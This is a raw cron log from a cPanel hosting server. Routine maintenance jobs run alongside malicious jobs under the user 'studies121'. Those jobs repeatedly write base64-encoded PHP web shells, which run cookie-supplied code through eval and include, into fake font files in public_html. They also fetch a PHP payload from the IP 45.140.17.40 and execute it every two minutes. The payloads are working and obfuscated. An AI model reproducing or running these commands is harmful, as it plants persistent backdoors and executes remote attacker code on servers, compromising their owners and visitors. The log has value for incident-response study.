Sep 21 03:27:02 ip-184-168-122-23 CROND[22744]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 21 03:27:02 ip-184-168-122-23 CROND[22747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:27:02 ip-184-168-122-23 CROND[22745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:28:01 ip-184-168-122-23 CROND[22928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:28:01 ip-184-168-122-23 CROND[22931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:28:01 ip-184-168-122-23 CROND[22929]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:28:01 ip-184-168-122-23 CROND[22930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:28:01 ip-184-168-122-23 CROND[22936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:29:01 ip-184-168-122-23 CROND[23034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:29:01 ip-184-168-122-23 CROND[23037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:29:01 ip-184-168-122-23 CROND[23035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:29:01 ip-184-168-122-23 CROND[23036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:29:01 ip-184-168-122-23 anacron[19533]: Job `cron.daily' started
Sep 21 03:29:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[23046]: starting logrotate
Sep 21 03:29:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23066]: finished logrotate
Sep 21 03:29:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23046]: starting man-db.cron
Sep 21 03:29:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[23078]: finished man-db.cron
Sep 21 03:29:03 ip-184-168-122-23 anacron[19533]: Job `cron.daily' terminated (produced output)
Sep 21 03:29:03 ip-184-168-122-23 anacron[19533]: Normal exit (1 job run)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:30:01 ip-184-168-122-23 CROND[23225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:30:01 ip-184-168-122-23 CROND[23226]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23224]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:30:01 ip-184-168-122-23 CROND[23221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:31:01 ip-184-168-122-23 CROND[23378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:31:01 ip-184-168-122-23 CROND[23380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:31:01 ip-184-168-122-23 CROND[23383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 03:31:01 ip-184-168-122-23 CROND[23381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:31:02 ip-184-168-122-23 CROND[23382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:32:01 ip-184-168-122-23 CROND[23499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:32:01 ip-184-168-122-23 CROND[23500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:32:01 ip-184-168-122-23 CROND[23502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:32:01 ip-184-168-122-23 CROND[23503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:32:01 ip-184-168-122-23 CROND[23507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:33:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:33:01 ip-184-168-122-23 CROND[23633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:33:01 ip-184-168-122-23 CROND[23636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:33:01 ip-184-168-122-23 CROND[23640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:34:01 ip-184-168-122-23 CROND[23749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:34:01 ip-184-168-122-23 CROND[23751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:34:01 ip-184-168-122-23 CROND[23752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:34:01 ip-184-168-122-23 CROND[23754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:34:01 ip-184-168-122-23 CROND[23756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:35:01 ip-184-168-122-23 CROND[23974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23975]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23980]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 03:35:01 ip-184-168-122-23 CROND[23981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:36:01 ip-184-168-122-23 CROND[24125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:36:01 ip-184-168-122-23 CROND[24129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:36:01 ip-184-168-122-23 CROND[24130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:36:01 ip-184-168-122-23 CROND[24127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:36:01 ip-184-168-122-23 CROND[24128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:37:01 ip-184-168-122-23 CROND[24250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:37:01 ip-184-168-122-23 CROND[24253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:37:01 ip-184-168-122-23 CROND[24252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:37:01 ip-184-168-122-23 CROND[24254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:38:01 ip-184-168-122-23 CROND[24408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:38:01 ip-184-168-122-23 CROND[24411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:38:01 ip-184-168-122-23 CROND[24409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:38:01 ip-184-168-122-23 CROND[24410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:38:01 ip-184-168-122-23 CROND[24412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:39:01 ip-184-168-122-23 CROND[24563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:39:01 ip-184-168-122-23 CROND[24564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
